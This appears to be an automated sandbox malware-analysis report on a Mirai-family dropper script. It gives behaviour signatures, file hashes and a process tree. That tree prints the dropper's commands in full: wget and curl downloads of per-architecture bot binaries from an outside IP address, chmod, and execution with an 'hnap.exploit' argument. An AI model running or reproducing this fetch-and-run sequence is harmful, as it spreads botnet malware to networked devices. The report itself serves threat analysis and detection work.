Analysis

  • max time kernel
    42s
  • max time network
    139s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12-12-2024 02:40

General

  • Target

    b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh

  • Size

    2KB

  • MD5

    0414924f3d84871e5135cdc7433372ff

  • SHA1

    e1a734139811fea57eae3589f8442ae29b9de623

  • SHA256

    b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e

  • SHA512

    a9da40d314c1cfe932787b37785473bcff0dff63983ef3a86682951d30cdd2ae98bc0219ec26a06d70b816aedb3983ca713d0500f3f36967c408a50e23b76916

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (16120) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 8 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 60 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh
    /tmp/b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh
    1⤵
    • Writes file to tmp directory
    PID:656
    • /usr/bin/wget
      wget http://37.114.41.90/bins/i486
      2⤵
        PID:658
      • /usr/bin/curl
        curl -O http://37.114.41.90/bins/i486
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:668
      • /bin/cat
        cat i486
        2⤵
          PID:685
        • /bin/chmod
          chmod +x Andrew b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb
          2⤵
          • File and Directory Permissions Modification
          PID:686
        • /tmp/Andrew
          ./Andrew hnap.exploit
          2⤵
          • Executes dropped EXE
          PID:687
        • /usr/bin/wget
          wget http://37.114.41.90/bins/x86
          2⤵
          • Writes file to tmp directory
          PID:688
        • /usr/bin/curl
          curl -O http://37.114.41.90/bins/x86
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:689
        • /bin/cat
          cat x86
          2⤵
            PID:695
          • /bin/chmod
            chmod +x Andrew b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb x86
            2⤵
            • File and Directory Permissions Modification
            PID:696
          • /tmp/Andrew
            ./Andrew hnap.exploit
            2⤵
            • Executes dropped EXE
            PID:698
          • /usr/bin/wget
            wget http://37.114.41.90/bins/i686
            2⤵
            • Writes file to tmp directory
            PID:700
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/i686
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:707
          • /bin/cat
            cat i686
            2⤵
              PID:713
            • /bin/chmod
              chmod +x Andrew b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb x86
              2⤵
              • File and Directory Permissions Modification
              PID:715
            • /tmp/Andrew
              ./Andrew hnap.exploit
              2⤵
              • Executes dropped EXE
              PID:716
            • /usr/bin/wget
              wget http://37.114.41.90/bins/x86_64
              2⤵
              • Writes file to tmp directory
              PID:718
            • /usr/bin/curl
              curl -O http://37.114.41.90/bins/x86_64
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:723
            • /bin/cat
              cat x86_64
              2⤵
                PID:730
              • /bin/chmod
                chmod +x Andrew b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb x86 x86_64
                2⤵
                • File and Directory Permissions Modification
                PID:731
              • /tmp/Andrew
                ./Andrew hnap.exploit
                2⤵
                • Executes dropped EXE
                PID:732
              • /usr/bin/wget
                wget http://37.114.41.90/bins/mips
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:735
              • /usr/bin/curl
                curl -O http://37.114.41.90/bins/mips
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:743
              • /bin/cat
                cat mips
                2⤵
                • System Network Configuration Discovery
                PID:751
              • /bin/chmod
                chmod +x Andrew b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 mips systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb x86 x86_64
                2⤵
                • File and Directory Permissions Modification
                PID:752
              • /tmp/Andrew
                ./Andrew hnap.exploit
                2⤵
                • Executes dropped EXE
                PID:754
              • /usr/bin/wget
                wget http://37.114.41.90/bins/mpsl
                2⤵
                • Writes file to tmp directory
                PID:756
              • /usr/bin/curl
                curl -O http://37.114.41.90/bins/mpsl
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:758
              • /bin/cat
                cat mpsl
                2⤵
                  PID:759
                • /bin/chmod
                  chmod +x Andrew b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 mips mpsl systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb x86 x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:760
                • /tmp/Andrew
                  ./Andrew hnap.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:761
                • /usr/bin/wget
                  wget http://37.114.41.90/bins/arm4
                  2⤵
                  • Writes file to tmp directory
                  PID:763
                • /usr/bin/curl
                  curl -O http://37.114.41.90/bins/arm4
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:765
                • /bin/cat
                  cat arm4
                  2⤵
                    PID:771
                  • /bin/chmod
                    chmod +x Andrew arm4 b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 mips mpsl systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb x86 x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:772
                  • /tmp/Andrew
                    ./Andrew hnap.exploit
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Changes its process name
                    • Reads runtime system information
                    PID:774
                  • /usr/bin/wget
                    wget http://37.114.41.90/bins/arm5
                    2⤵
                    • Writes file to tmp directory
                    PID:776
                  • /usr/bin/curl
                    curl -O http://37.114.41.90/bins/arm5
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:782
                  • /bin/cat
                    cat arm5
                    2⤵
                      PID:789
                    • /bin/chmod
                      chmod +x Andrew arm4 arm5 b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 mips mpsl systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb x86 x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:791
                    • /tmp/Andrew
                      ./Andrew hnap.exploit
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Changes its process name
                      • Reads runtime system information
                      PID:792
                    • /usr/bin/wget
                      wget http://37.114.41.90/bins/arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:795
                    • /usr/bin/curl
                      curl -O http://37.114.41.90/bins/arm6
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:805
                    • /bin/cat
                      cat arm6
                      2⤵
                        PID:810
                      • /bin/chmod
                        chmod +x Andrew arm4 arm5 arm6 b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 mips mpsl systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb x86 x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:812
                      • /tmp/Andrew
                        ./Andrew hnap.exploit
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:813
                      • /usr/bin/wget
                        wget http://37.114.41.90/bins/arm7
                        2⤵
                        • Writes file to tmp directory
                        PID:816
                      • /usr/bin/curl
                        curl -O http://37.114.41.90/bins/arm7
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:820
                      • /bin/cat
                        cat arm7
                        2⤵
                          PID:821
                        • /bin/chmod
                          chmod +x Andrew arm4 arm5 arm6 arm7 b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 mips mpsl systemd-private-a0742982d8fd4eedb4c5c606038f8148-systemd-timedated.service-ociOvb x86 x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:822
                        • /tmp/Andrew
                          ./Andrew hnap.exploit
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Enumerates active TCP sockets
                          • Changes its process name
                          • Reads system network configuration
                          • Reads runtime system information
                          PID:823
                        • /usr/bin/wget
                          wget http://37.114.41.90/bins/ppc
                          2⤵
                          • Writes file to tmp directory
                          PID:832
                        • /usr/bin/curl
                          curl -O http://37.114.41.90/bins/ppc
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:833
                        • /bin/cat
                          cat ppc
                          2⤵
                            PID:834
                          • /bin/chmod
                            chmod +x Andrew arm4 arm5 arm6 arm7 b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 mips mpsl ppc x86 x86_64
                            2⤵
                            • File and Directory Permissions Modification
                            PID:835
                          • /tmp/Andrew
                            ./Andrew hnap.exploit
                            2⤵
                            • Executes dropped EXE
                            PID:836
                          • /usr/bin/wget
                            wget http://37.114.41.90/bins/spc
                            2⤵
                              PID:838
                            • /usr/bin/curl
                              curl -O http://37.114.41.90/bins/spc
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:839
                            • /bin/cat
                              cat spc
                              2⤵
                                PID:840
                              • /bin/chmod
                                chmod +x Andrew arm4 arm5 arm6 arm7 b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 mips mpsl ppc spc x86 x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:841
                              • /tmp/Andrew
                                ./Andrew hnap.exploit
                                2⤵
                                • Executes dropped EXE
                                PID:842
                              • /usr/bin/wget
                                wget http://37.114.41.90/bins/m68k
                                2⤵
                                  PID:843
                                • /usr/bin/curl
                                  curl -O http://37.114.41.90/bins/m68k
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:844
                                • /bin/cat
                                  cat m68k
                                  2⤵
                                    PID:845
                                  • /bin/chmod
                                    chmod +x Andrew arm4 arm5 arm6 arm7 b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 m68k mips mpsl ppc spc x86 x86_64
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:846
                                  • /tmp/Andrew
                                    ./Andrew hnap.exploit
                                    2⤵
                                    • Executes dropped EXE
                                    PID:847
                                  • /usr/bin/wget
                                    wget http://37.114.41.90/bins/sh4
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:848
                                  • /usr/bin/curl
                                    curl -O http://37.114.41.90/bins/sh4
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:849
                                  • /bin/cat
                                    cat sh4
                                    2⤵
                                      PID:850
                                    • /bin/chmod
                                      chmod +x Andrew arm4 arm5 arm6 arm7 b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 m68k mips mpsl ppc sh4 spc x86 x86_64
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:851
                                    • /tmp/Andrew
                                      ./Andrew hnap.exploit
                                      2⤵
                                      • Executes dropped EXE
                                      PID:852
                                    • /usr/bin/wget
                                      wget http://37.114.41.90/bins/arc
                                      2⤵
                                        PID:854
                                      • /usr/bin/curl
                                        curl -O http://37.114.41.90/bins/arc
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:855
                                      • /bin/cat
                                        cat arc
                                        2⤵
                                          PID:857
                                        • /bin/chmod
                                          chmod +x Andrew arc arm4 arm5 arm6 arm7 b8a191123b401ab1fd86004d8e915c40737469c409f18b42f04f3925b98f648e.sh i486 i686 m68k mips mpsl ppc sh4 spc x86 x86_64
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:858
                                        • /tmp/Andrew
                                          ./Andrew hnap.exploit
                                          2⤵
                                          • Executes dropped EXE
                                          PID:860

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/Andrew

                                        Filesize

                                        65KB

                                        MD5

                                        31a7b38e86933e5a6dc781c00f1a4b2c

                                        SHA1

                                        b0e45bb1c15dcec8e6f6afd7c2a3154a1aa0b063

                                        SHA256

                                        5c7c5958a7b18800eb26f7bb1c5f83243c0447d8958efb6e85ca9e8684d33714

                                        SHA512

                                        6b3672bab523b59425f90a22f5970e990db3a7728e48e0d83e62edd60bf31de6083bd1ce96772a53c3840f6e5ff64dab02cece44131cfade9b09e4dcf3332275

                                      • /tmp/arm4

                                        Filesize

                                        31KB

                                        MD5

                                        b09e32f241911f4ddac45a1a7a19ba49

                                        SHA1

                                        17a7f213570aaea7f66b9c38091c9485fa0ea510

                                        SHA256

                                        42828a483869a643cec73d181faff7f3a433c9570fc96a6bc63a2d8bc2b1f95c

                                        SHA512

                                        1d7e94f3076da3e47e902cc523bb752d5333fcbe86a8f35e6ef11202b80e6021318ff8d60843a410a849dd46296e45ed452bfe01ea722df6bdbdd565fd954da5

                                      • /tmp/arm5

                                        Filesize

                                        32KB

                                        MD5

                                        bf55d7061cedeb10e6a3839353dc6d8c

                                        SHA1

                                        34b773230a77570ef0c6fced5ab9f125996e4daf

                                        SHA256

                                        aae9d2a9669849b09b4e8ed8f3baeeb4c948ca80ebddd5004a57c2b6b7049fc9

                                        SHA512

                                        555f6dec792e49927d5392fc8dae5174e8868c9acdddebd4d0a5b3386352df40c7342a82d0973979cdb5061ee347f4ebd33ce19ab98fbb6dcae293e1eb69c57e

                                      • /tmp/arm7

                                        Filesize

                                        50KB

                                        MD5

                                        d5af8f2bb8c7c3e39981ba0099fa1d1c

                                        SHA1

                                        f12212c88dddb3c0298987b917c55063f942df88

                                        SHA256

                                        fec20fde8f5cb8d571cee50a2bf8103c9e63c57b2bfd098693974389fd79c8d9

                                        SHA512

                                        42b3455e467f11b68f000f6f375bd9d7f42d77c16184a3a6a36bbf4751e72a01b692032ee6d03a8ed398484cacbdb6231478d42099004f3674de84873c2e817e

                                      • /tmp/i486

                                        Filesize

                                        274B

                                        MD5

                                        090e35476de39030dfeafbcf3d3e3f43

                                        SHA1

                                        a4bd408cec5d1185b478e528cf60a9f5186e0b87

                                        SHA256

                                        0085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b

                                        SHA512

                                        55c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181

                                      • /tmp/i686

                                        Filesize

                                        28KB

                                        MD5

                                        15fb222600a3061f5c8e5ef04e5298a6

                                        SHA1

                                        93b4a17632479c8a45e2554a18ea61ea7365c532

                                        SHA256

                                        fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965

                                        SHA512

                                        11e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34

                                      • /tmp/mips

                                        Filesize

                                        34KB

                                        MD5

                                        6088a204e0792a10d3724e836fe699b7

                                        SHA1

                                        fc1cf1010c99f155c46f94ec0529c8cea32c6055

                                        SHA256

                                        345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e

                                        SHA512

                                        bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e

                                      • /tmp/mpsl

                                        Filesize

                                        34KB

                                        MD5

                                        b8f2bf3e7c002718f12751cb02130d2e

                                        SHA1

                                        06919c90eae2564ee9ded3f343e2ec18839e411d

                                        SHA256

                                        390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d

                                        SHA512

                                        adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185

                                      • /tmp/ppc

                                        Filesize

                                        30KB

                                        MD5

                                        053488c4fc01a20ddb689a2212c33126

                                        SHA1

                                        1eff2d1947ee2d6481fdd2ab4b2a67fba3e18321

                                        SHA256

                                        0a8cb5b485b059b98725ff4a6411faa3ea9f150082b46b0b3868ae0e31b6dd41

                                        SHA512

                                        32d412546f202e9165cf6c905b46d52db20425b7ff7f90b98a739f6c7860b30c34e8bc5eaca4d6f23e25c6e88580990a6003fd9747d581e25098f3267e78f1f9

                                      • /tmp/sh4

                                        Filesize

                                        65KB

                                        MD5

                                        9092bfedba4c884c57e8a36df072a135

                                        SHA1

                                        d1f5c632f741fea6a9fb73c4bcb930ebe7313e60

                                        SHA256

                                        164fb4af0b74ff37d983392a157a4d9b464391dee726dffcfc205c930a1b062f

                                        SHA512

                                        0f87f9126e11c09f480cf7f74f69d76492f8a8a080afaff1dde7546bae685f48d98774ee50d3c760e77bbc736712fa05a82bf034cbc82ce8e66f1e9d53013b79

                                      • /tmp/x86

                                        Filesize

                                        28KB

                                        MD5

                                        54d07ade0004f03aaca028523d8f3eb6

                                        SHA1

                                        73606fc68439ea7ceb148f94d61dbe0235da8355

                                        SHA256

                                        d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b

                                        SHA512

                                        43ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b

                                      • /tmp/x86_64

                                        Filesize

                                        28KB

                                        MD5

                                        9cc970e0631afa61a049848f4f368b12

                                        SHA1

                                        54d7d99f436e9c97da5bfdd43698bb1dbd679b29

                                        SHA256

                                        681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16

                                        SHA512

                                        9f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e